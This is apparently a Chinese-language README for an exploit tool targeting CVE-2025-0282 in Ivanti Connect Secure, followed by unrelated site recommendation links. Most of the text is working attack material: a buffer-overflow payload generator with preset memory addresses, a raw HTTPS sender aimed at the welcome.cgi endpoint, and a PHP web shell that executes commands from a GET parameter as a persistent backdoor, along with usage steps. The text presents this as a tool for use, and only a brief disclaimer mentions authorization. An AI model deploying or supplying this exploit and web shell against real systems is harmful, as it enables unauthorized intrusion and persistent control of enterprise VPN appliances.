CVE-2025-0282 Ivanti 远程命令执行漏洞利用工具

CVE-2025-0282 Ivanti Connect Secure 远程命令执行利用工具

本项目提供了一个针对 Ivanti Connect Secure 系统中 CVE-2025-0282 漏洞的完整利用工具。该漏洞是存在于 Ivanti Connect Secure 产品中的严重缓冲区溢出漏洞,允许攻击者在未授权的情况下实现远程命令执行(RCE),并可进一步上传 Web Shell 以获取持久化控制。

功能特性

  • 远程命令执行:通过精心构造的缓冲区溢出载荷,在目标系统上执行任意系统命令
  • Web Shell 上传:支持将 PHP Web Shell 上传至目标服务器,实现持久化后门控制
  • HTTPS 支持:自动处理 SSL/TLS 加密连接,禁用证书验证以适配自签名证书场景
  • 交互式命令控制:Web Shell 上传后支持通过 HTTP GET 参数实时执行系统命令
  • 精确的内存地址利用 :针对目标系统架构预设了 system() 函数地址及命令缓冲区地址

安装指南

系统要求

  • Python 3.6 或更高版本
  • 目标系统:Ivanti Connect Secure(存在 CVE-2025-0282 漏洞的版本)

依赖安装

本项目依赖以下 Python 库:

bash 复制代码
pip install requests urllib3

下载项目

bash 复制代码
git clone https://github.com/your-repo/CVE-2025-0282-Ivanti-exploit.git
cd CVE-2025-0282-Ivanti-exploit

使用说明

基本用法

上传 Web Shell
bash 复制代码
python3 CVE_2025_0282_Ivanti.py <target_ip> <local_shell_path>

参数说明:

  • <target_ip>:目标 Ivanti 服务器的 IP 地址
  • <local_shell_path>:本地 Web Shell 文件的路径(如 shell.php
执行远程命令(通过 Web Shell)

上传成功后,访问已上传的 Web Shell 即可执行命令:

bash 复制代码
http://<target_ip>/shell.php?cmd=<command>

典型使用场景

场景 1:直接利用漏洞执行命令

工具会自动构造包含命令的缓冲区溢出载荷,通过 HTTPS POST 请求发送至 /dana-na/auth/url_default/welcome.cgi 端点,触发 RCE。

场景 2:上传持久化后门

shell.php 上传至目标服务器,之后可通过简单的 HTTP GET 请求持续执行系统命令。

核心代码解析

漏洞载荷生成
python 复制代码
def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008):
    """
    构造缓冲区溢出利用载荷
    :param command: 要执行的系统命令
    :param offset: 缓冲区填充大小(触发溢出的偏移量)
    :param system_address: system() 函数的内存地址
    :param command_address: 命令字符串的存储地址
    :return: 完整的攻击载荷(字节串)
    """
    payload = b"A" * offset                    # 填充缓冲区至溢出点
    payload += struct.pack("<I", system_address)  # 覆盖返回地址为 system()
    payload += b"BBBB"                         # system() 返回后的占位地址
    payload += struct.pack("<I", command_address) # system() 的参数(命令地址)
    payload += command.encode()                # 实际要执行的命令字符串
    return payload
HTTPS 载荷发送
python 复制代码
def send_payload(target_ip, payload):
    """
    通过 HTTPS 发送攻击载荷到漏洞端点
    :param target_ip: 目标服务器 IP
    :param payload: 攻击载荷字节串
    :return: 服务器响应内容
    """
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE          # 忽略证书验证错误

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    ssl_sock = context.wrap_socket(sock, server_hostname=target_ip)
    ssl_sock.connect((target_ip, 443))

    exploit_endpoint = "/dana-na/auth/url_default/welcome.cgi"
    http_request = (
        f"POST {exploit_endpoint} HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"\r\n"
    ).encode() + payload

    ssl_sock.send(http_request)
    response = ssl_sock.recv(4096)
    ssl_sock.close()
    return response.decode(errors="replace")
Web Shell 后门代码
php 复制代码
<?php
// 文件: shell.php
// 用途: 通过 cmd 参数执行任意系统命令

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    echo "<pre>" . shell_exec($cmd) . "</pre>";
} else {
    echo "No command provided.";
}
?>

安全警告

⚠️ 本工具仅用于安全测试和教育目的。未经授权使用本工具攻击系统属于违法行为。使用者需遵守当地法律法规,并获得目标系统的明确授权后方可使用。 6HFtX5dABrKlqXeO5PUv/yZfAWEf+STWJ7aJRLg+r/OEKl16vQo/UDXVGt4+HWY+

相关推荐
欣欣之王来了几秒前
面试指南:执行式AI岗位真题解析
人工智能
墨天梦2 分钟前
25-评估指标与基准设计
人工智能·自然语言处理
烈风逍遥2 分钟前
第七篇:提示词模板管理与 Agent 提示词编排
前端·人工智能·后端
橘和柠9 分钟前
AI-Infra-Guard 部署与技能扫描实战:Docker 一键起,附我的一次“漏报”复盘
人工智能
茵Cindy10 分钟前
从RPA到Agent:HR流程自动化的架构演进与选型建议
人工智能·ai+hr·hr智能体
m4Rk_14 分钟前
【论文阅读】Agent 记忆机制(77):TSM——让记忆回到事件真正发生的时间
论文阅读·人工智能·学习·开源·github
陈天伟教授17 分钟前
技能人才评价考评员(高级考评员)备考要点-模块一技能人才评价制度体系与政策法规
人工智能·具身智能
ksueh19 分钟前
2026网文有声化新规落地:AI配音的边界划在了哪里
人工智能·ai写作·ai工具·ai写小说
旺仔小馒头wang26 分钟前
AI 智能手机发布会:赋予人类的五种新能力
人工智能·学习·音视频
人工智能培训27 分钟前
未来三年,AI 落地的五个确定性判断
大数据·人工智能·学习·生活·ai写作